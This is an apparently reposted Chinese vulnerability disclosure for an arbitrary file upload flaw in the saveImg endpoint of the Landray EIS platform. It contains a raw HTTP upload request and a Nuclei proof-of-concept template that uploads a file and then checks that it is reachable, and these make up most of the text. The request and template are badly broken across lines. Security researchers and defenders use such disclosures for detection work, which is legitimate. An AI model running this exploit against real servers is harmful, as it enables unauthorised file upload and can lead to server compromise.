漏洞概述
蓝凌EIS是蓝凌18年中大客户办公应用与阿里钉钉相融合的一款功能全、体验好、开通即用、配置灵活、软硬一体的租赁版OA系统。此系统api.aspx接口的saveImg存在任意文件上传漏洞。
漏洞复现
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: xxx
User
-
Agent: Mozilla
/
5.0
(Windows NT
10.0
; Win64; x64) AppleWebKit
/
537.36
(KHTML,
like
Gecko) Chrome
/
100.0
.4896
.127
Safari
/
537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection:
close
Content-Type: multipart/form-data; boundary=----4225820000370152680749129212
------4225820000370152680749129212
Content-Disposition: form-
data
; name=
"file"
filename=
"night.txt"
Content-Type: text/html
Night
------4225820000370152680749129212--
NUCLEI POC
id
: landray-eis-api-saveimg-fileupload
info:
name:
蓝凌eis智慧协同平台任意文件上传
author:
YGnight
severity:
high
description:
description
reference:
- https:
//
metadata:
verified:
true
max
-request:
1
requests:
-
raw:
-
|
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: {{Hostname}}
User
-
Agent: Mozilla
/
5.0
(Windows NT
10.0
; Win64; x64) AppleWebKit
/
537.36
(KHTML,
like
Gecko) Chrome
/
100.0
.4896
.127
Safari
/
537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding:
gzip,
deflate
Accept
-
Language
: zh
-
CN,zh;q
=
0.9
Connection:
close
Content-Type: multipart/form-data; boundary=----4225820000370152680749129212
------4225820000370152680749129212
Content-Disposition: form-
data
; name=
"file"
filename=
"night.txt"
Content-Type: text/html
Night
------4225820000370152680749129212--
-
|
GET {{filename}} HTTP/1.1
Host: {{Hostname}}
req
-
condition
:
true
extractors:
-
type
: dsl
part:
body_1
name:
filename
dsl:
-
body
internal
:
true
matchers
-
condition
:
and
matchers:
-
type
:
status
status
:
-
200
-
type
: word
part:
body_2
words:
-
"Night"
原文始发于微信公众号(night安全):【漏洞复现】蓝凌EIS智慧协同平台api.aspx任意文件上传漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论